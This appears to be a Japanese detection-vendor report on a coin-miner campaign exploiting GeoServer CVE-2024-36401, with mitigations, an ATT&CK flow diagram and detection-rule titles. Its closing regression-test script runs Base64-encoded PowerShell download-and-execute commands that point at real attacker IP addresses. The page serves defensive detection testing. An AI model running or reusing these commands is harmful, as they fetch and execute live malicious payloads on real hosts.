GeoServer攻撃中:マルウェアコインマイナキャンペーン
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
脅威アクターがGeoServerのリモートコード実行の脆弱性CVE-2024-36401を悪用し、未パッチのサーバーに暗号通貨マイナーとNetCatを展開しています。この活動は、PowerShell、Bash、およびcertutilを利用して、複数の悪意あるドメインおよびIPアドレスからXMRigをダウンロードし、起動することに依存しています。いくつかのダウンローダースクリプトとドロッパーが使用され、通常はZIPアーカイブにパッケージ化され、NSSMを通じてサービスとして永続化されます。主な目的は、無断でマイニングするためのコンピューティングリソースを確保することです。
調査
このレポートでは、エンコードされたPowerShell、Bashベースのフェッチャー、およびcertutilを使用してマイナーペイロードを取得する3つのバリアント(A、B、C)について詳述しています。 pool.supportxmr.com および複数のaaaaaaaaa.cyouサブドメインから獲得します。配信メカニズムにはバッチスクリプト、ZIPバンドル、およびsystemdと名付けられた独自のダウンローダー、HTTPベーシック認証クレデンシャルが含まれます。アナリストは、検出とスコーピングをサポートするために、URL、IPアドレス、およびファイル名という主要インジケーターを抽出しました。
緩和策
GeoServerパッチを適用し、CVE-2024-36401に対処し、最新サポートリリースでデプロイを維持してください。既知のマイニングプールおよび関連インフラストラクチャへのアウトバウンド接続をブロックし、疑わしいエンコードされたPowerShellまたはBash実行を監視します。管理者以外のコンテキストでのcertutilの使用を制限し、NSSM経由でインストールされた不正なサービスを防ぐためにアプリケーション許可リストを実施します。
対応
観測されたコマンドライン、ハッシュ、ネットワークインジケーターの検出を実施します。影響を受けたホストを隔離し、マイナーサービスと永続化アーティファクトを根絶し、二次ペイロードがないかフォレンジックスイープを実施します。露出したクレデンシャルをローテーションし、管理アクセスには多要素認証を要求します。
“graph TB %% Class definitions classDef action fill:#ffcc99 %% Action/Technique nodes classDef builtin fill:#e0e0e0 %% Tool and built-in utility nodes classDef malware fill:#ff9999 %% Malware nodes %% Node definitions tech_initial_access[“<b>Technique</b> – <b>T1210 リモートサービスの悪用</b><br/>説明: GeoServerにおけるCVE-2024-36401のリモートコード実行の悪用”] class tech_initial_access action tool_geoserver[“<b>ツール</b> – <b>名前</b>: GeoServer<br/><b>脆弱性</b>: CVE-2024-36401”] class tool_geoserver builtin tech_execution_ps[“<b>Technique</b> – <b>T1059.001 PowerShell</b><br/>説明: エンコードされたPowerShellコマンドを実行し、悪意のあるスクリプトをダウンロードして起動”] class tech_execution_ps action tool_powershell[“<b>ツール</b> – <b>名前</b>: PowerShell”] class tool_powershell builtin tech_obfuscation[“<b>Technique</b> – <b>T1027 難読化されたファイルまたは情報</b><br/>説明: certutilおよびBashを通じて配信されたペイロードをBase64エンコード”] class tech_obfuscation action tool_certutil[“<b>ツール</b> – <b>名前</b>: certutil”] class tool_certutil builtin tool_bash[“<b>ツール</b> – <b>名前</b>: Bash”] class tool_bash builtin tech_deobfuscation[“<b>Technique</b> – <b>T1140 逆難読化/デコードファイルまたは情報</b><br/>説明: 実行前にホスト上でBase64ペイロードをデコード”] class tech_deobfuscation action tech_defense_evasion[“<b>Technique</b> – <b>T1562 防御妨害</b><br/>説明: Windows Defenderを無効にし、ファイル/パスの除外を追加”] class tech_defense_evasion action tool_windows_defender[“<b>ツール</b> – <b>名前</b>: Windows Defender”] class tool_windows_defender builtin tech_persistence[“<b>Technique</b> – <b>T1543.002 システムプロセスの作成または変更: Systemd Service</b><br/>説明: NSSMを使用してXMRigを永続的なサービスとしてインストール”] class tech_persistence action tool_nssm[“<b>ツール</b> – <b>名前</b>: NSSM (Non-Sucking Service Manager)”] class tool_nssm builtin malware_xmrig[“<b>マルウェア</b> – <b>名前</b>: XMRig<br/><b>目的</b>: 暗号通貨のマイニング”] class malware_xmrig malware tech_impact[“<b>Technique</b> – <b>T1496.001 計算リソースハイジャック</b><br/>説明: CPUサイクルをハイジャックして暗号通貨をマイニング”] class tech_impact action tech_indirect_execution[“<b>Technique</b> – <b>T1202 間接的なコマンド実行</b><br/>説明: PowerShellがBashおよびNetcatを通じて追加のスクリプトを起動”] class tech_indirect_execution action tool_netcat[“<b>ツール</b> – <b>名前</b>: Netcat”] class tool_netcat builtin %% Connections tool_geoserver u002du002d>|悪用される| tech_initial_access tech_initial_access u002du002d>|可能にする| tech_execution_ps tech_execution_ps u002du002d>|使用する| tool_powershell tech_execution_ps u002du002d>|ダウンロードを行う| tool_certutil tech_execution_ps u002du002d>|呼び出す| tool_bash tech_execution_ps u002du002d>|呼び出す| tool_netcat tool_certutil u002du002d>|エンコードされたペイロードをデリバリ| tech_obfuscation tool_bash u002du002d>|エンコードされたペイロードを実行| tech_obfuscation tech_obfuscation u002du002d>|必要とする| tech_deobfuscation tech_deobfuscation u002du002d>|環境を準備する| tech_defense_evasion tech_defense_evasion u002du002d>|無効化する| tool_windows_defender tech_defense_evasion u002du002d>|に至る| tech_persistence tech_persistence u002du002d>|使用する| tool_nssm tool_nssm u002du002d>|インストールする| malware_xmrig malware_xmrig u002du002d>|実行する| tech_impact tech_execution_ps u002du002d>|トリガーする| tech_indirect_execution tech_indirect_execution u002du002d>|使用する| tool_bash tech_indirect_execution u002du002d>|使用する| tool_netcat tech_indirect_execution u002du002d>|可能にする| malware_xmrig “
攻撃フロー
検出
Windows Defenderの保護を無効化(registry_event経由)
表示
Windows Defenderの設定変更が疑わしい(powershell経由)
表示
可能な永続化ポイント [ASEPs – Software/NTUSER Hive] (registry_event経由)
表示
Schtasksが疑わしいディレクトリ/バイナリ/スクリプトを指している (cmdline経由)
表示
Public User Profileに疑わしいファイルが存在(file_event経由)
表示
Powershell経由のダウンロードまたはアップロード(cmdline経由)
表示
検出するためのIOC(SourceIP):GeoServerを標的としたマルウェアコインマイナー攻撃事例
表示
検出するためのIOC(DestinationIP):GeoServerを標的としたマルウェアコインマイナー攻撃事例
表示
検出するためのIOC(HashMd5):GeoServerを標的としたマルウェアコインマイナー攻撃事例
表示
GeoServerの脆弱性を悪用した悪意あるペイロードのダウンロードのためのCertutil使用を検出 [Windows Process Creation]
表示
GeoServerの脆弱性を標的としたエンコードされたPowerShellコマンドを検出 [Windows Powershell]
表示
シミュレーションの実行
前提条件:テレメトリー&ベースラインの事前飛行チェックが完了している必要があります。
理論的根拠:このセクションでは、検出ルールをトリガーするために設計された敵テクニック(TTP)の正確な実行を詳細に説明します。コマンドとナarrativeは、識別されたTTPを直接反映し、検出ロジックによって予測される正確なテレメトリーを生成することを目標としています。
-
攻撃のストーリー&コマンド:
攻撃者は、脆弱なGeoServer構成ファイルをダウンロードして実行し、暗号通貨マイナーをドロップする悪意あるBase64ペイロードを獲得しました。シンプルなスクリプトブロック検出を回避するために、攻撃者は-encスイッチを事前にエンコードされた文字列(一つか二つの既知のIOC)と共に使用します。攻撃者は、ペイロードを妥協されたWindowsホスト上でローカルに実行し、powershell.exeプロセス作成が、ルールが監視する正確なBase64文字列を含むという結果を引き起こします。 -
回帰テストスクリプト:
# ------------------------------------------------- # Sigmaルールをトリガーするための回帰スクリプト # ------------------------------------------------- # ペイロード1(最初のIOCに一致) $b64_1 = 'SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMjIwLjg0LjEwNy42OS9qcy9ndy50eHQnKQA=' powershell.exe -enc $b64_1 # ペイロード2(2番目のIOCに一致) $b64_2 = 'SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8xMTkuMTk0LjE1My4zMTo4MDgwL2ljb24vanMvd2kudHh0Jyk=' powershell.exe -enc $b64_2 -
クリーンアップコマンド:
# ------------------------------------------------- # クリーンアップ - 残存する可能性のあるPowerShellペイロードを終了 # ------------------------------------------------- Get-Process -Name powershell -ErrorAction SilentlyContinue | Where-Object { $_.StartInfo.Arguments -match '-enc' } | Stop-Process -Force